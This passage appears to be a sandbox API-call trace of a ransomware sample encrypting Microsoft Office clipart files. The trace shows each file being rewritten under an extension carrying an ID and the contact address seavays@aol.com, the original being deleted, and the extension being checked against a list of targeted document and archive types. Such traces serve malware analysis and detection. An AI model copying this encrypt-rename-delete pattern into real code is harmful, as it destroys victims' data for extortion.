hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.655] WriteFile (in: hFile=0x29c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.655] SetEndOfFile (hFile=0x29c) returned 1 [0200.656] CloseHandle (hObject=0x29c) returned 1 [0200.656] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.656] SetEndOfFile (hFile=0x2a4) returned 1 [0202.126] CloseHandle (hObject=0x2a4) returned 1 [0202.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf")) returned 1 [0202.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.141] lstrlenW (lpString=".doc") returned 4 [0202.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.141] lstrlenW (lpString=".docx") returned 5 [0202.141] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0202.141] lstrlenW (lpString=".pdf") returned 4 [0202.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.141] lstrlenW (lpString=".xls") returned 4 [0202.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.141] lstrlenW (lpString=".xlsx") returned 5 [0202.141] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0202.142] lstrlenW (lpString=".ppt") returned 4 [0202.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.142] lstrlenW (lpString=".zip") returned 4 [0202.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.142] lstrlenW (lpString=".rar") returned 4 [0202.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.142] lstrlenW (lpString=".bz2") returned 4 [0202.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.142] lstrlenW (lpString=".7z") returned 3 [0202.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.142] lstrlenW (lpString=".dbf") returned 4 [0202.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.142] lstrlenW (lpString=".1cd") returned 4 [0202.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0202.142] lstrlenW (lpString=".jpg") returned 4 [0202.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.144] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.144] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0202.146] GetLastError () returned 0x0 [0202.146] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x366e, lpOverlapped=0x0) returned 1 [0202.148] WriteFile (in: hFile=0x29c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3670, lpOverlapped=0x0) returned 1 [0202.149] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.149] WriteFile (in: hFile=0x29c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.149] SetEndOfFile (hFile=0x29c) returned 1 [0202.149] CloseHandle (hObject=0x29c) returned 1 [0202.149] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.149] SetEndOfFile (hFile=0x2a4) returned 1 [0202.152] CloseHandle (hObject=0x2a4) returned 1 [0202.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf")) returned 1 [0202.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.153] lstrlenW (lpString=".doc") returned 4 [0202.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString=".docx") returned 5 [0202.154] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0202.154] lstrlenW (lpString=".pdf") returned 4 [0202.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString=".xls") returned 4 [0202.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.154] lstrlenW (lpString=".xlsx") returned 5 [0202.154] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0202.154] lstrlenW (lpString=".ppt") returned 4 [0202.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.154] lstrlenW (lpString=".zip") returned 4 [0202.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.154] lstrlenW (lpString=".rar") returned 4 [0202.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString=".bz2") returned 4 [0202.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString=".7z") returned 3 [0202.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.154] lstrlenW (lpString=".dbf") returned 4 [0202.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.154] lstrlenW (lpString=".1cd") returned 4 [0202.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0202.154] lstrlenW (lpString=".jpg") returned 4 [0202.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.156] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.156] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0202.360] GetLastError () returned 0x0 [0202.360] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x273e, lpOverlapped=0x0) returned 1 [0202.361] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2740, lpOverlapped=0x0) returned 1 [0202.362] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.362] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.362] SetEndOfFile (hFile=0x438) returned 1 [0202.363] CloseHandle (hObject=0x438) returned 1 [0202.363] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.363] SetEndOfFile (hFile=0x2a4) returned 1 [0202.365] CloseHandle (hObject=0x2a4) returned 1 [0202.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf")) returned 1 [0202.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.368] lstrlenW (lpString=".doc") returned 4 [0202.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString=".docx") returned 5 [0202.368] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.368] lstrlenW (lpString=".pdf") returned 4 [0202.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString=".xls") returned 4 [0202.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.368] lstrlenW (lpString=".xlsx") returned 5 [0202.368] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.368] lstrlenW (lpString=".ppt") returned 4 [0202.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.368] lstrlenW (lpString=".zip") returned 4 [0202.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.368] lstrlenW (lpString=".rar") returned 4 [0202.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString=".bz2") returned 4 [0202.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString=".7z") returned 3 [0202.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.368] lstrlenW (lpString=".dbf") returned 4 [0202.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.368] lstrlenW (lpString=".1cd") returned 4 [0202.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0202.369] lstrlenW (lpString=".jpg") returned 4 [0202.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.370] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.370] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0202.371] GetLastError () returned 0x0 [0202.371] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1d4a, lpOverlapped=0x0) returned 1 [0202.372] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1d50, lpOverlapped=0x0) returned 1 [0202.373] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.374] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.374] SetEndOfFile (hFile=0x438) returned 1 [0202.374] CloseHandle (hObject=0x438) returned 1 [0202.374] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.374] SetEndOfFile (hFile=0x2a4) returned 1 [0202.377] CloseHandle (hObject=0x2a4) returned 1 [0202.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf")) returned 1 [0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.378] lstrlenW (lpString=".doc") returned 4 [0202.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.378] lstrlenW (lpString=".docx") returned 5 [0202.378] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0202.378] lstrlenW (lpString=".pdf") returned 4 [0202.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.378] lstrlenW (lpString=".xls") returned 4 [0202.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.378] lstrlenW (lpString=".xlsx") returned 5 [0202.378] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0202.378] lstrlenW (lpString=".ppt") returned 4 [0202.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.378] lstrlenW (lpString=".zip") returned 4 [0202.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.379] lstrlenW (lpString=".rar") returned 4 [0202.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.379] lstrlenW (lpString=".bz2") returned 4 [0202.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.379] lstrlenW (lpString=".7z") returned 3 [0202.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.379] lstrlenW (lpString=".dbf") returned 4 [0202.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.379] lstrlenW (lpString=".1cd") returned 4 [0202.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0202.379] lstrlenW (lpString=".jpg") returned 4 [0202.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.380] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.381] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0202.382] GetLastError () returned 0x0 [0202.382] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xa5c, lpOverlapped=0x0) returned 1 [0202.383] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xa60, lpOverlapped=0x0) returned 1 [0202.385] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.385] SetEndOfFile (hFile=0x438) returned 1 [0202.385] CloseHandle (hObject=0x438) returned 1 [0202.385] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.385] SetEndOfFile (hFile=0x2a4) returned 1 [0202.388] CloseHandle (hObject=0x2a4) returned 1 [0202.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf")) returned 1 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString=".doc") returned 4 [0202.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString=".docx") returned 5 [0202.390] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0202.390] lstrlenW (lpString=".pdf") returned 4 [0202.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString=".xls") returned 4 [0202.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.390] lstrlenW (lpString=".xlsx") returned 5 [0202.390] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0202.390] lstrlenW (lpString=".ppt") returned 4 [0202.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString=".zip") returned 4 [0202.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.390] lstrlenW (lpString=".rar") returned 4 [0202.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString=".bz2") returned 4 [0202.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString=".7z") returned 3 [0202.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString=".dbf") returned 4 [0202.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString=".1cd") returned 4 [0202.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF") returned 68 [0202.390] lstrlenW (lpString=".jpg") returned 4 [0202.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.392] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.392] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0202.394] GetLastError () returned 0x0 [0202.394] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xf00, lpOverlapped=0x0) returned 1 [0202.790] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf10, lpOverlapped=0x0) returned 1 [0202.792] ReadFile (in: hFile=0x2a4, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.792] WriteFile (in: hFile=0x438, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.792] SetEndOfFile (hFile=0x438) returned 1 [0202.792] CloseHandle (hObject=0x438) returned 1 [0202.793] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.793] SetEndOfFile (hFile=0x2a4) returned 1 [0202.796] CloseHandle (hObject=0x2a4) returned 1 [0202.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 1 [0203.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0203.921] lstrlenW (lpString=".doc") returned 4 [0203.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.921] lstrlenW (lpString=".docx") returned 5 [0203.921] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0203.921] lstrlenW (lpString=".pdf") returned 4 [0203.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.921] lstrlenW (lpString=".xls") returned 4 [0203.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.921] lstrlenW (lpString=".xlsx") returned 5 [0203.921] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0203.921] lstrlenW 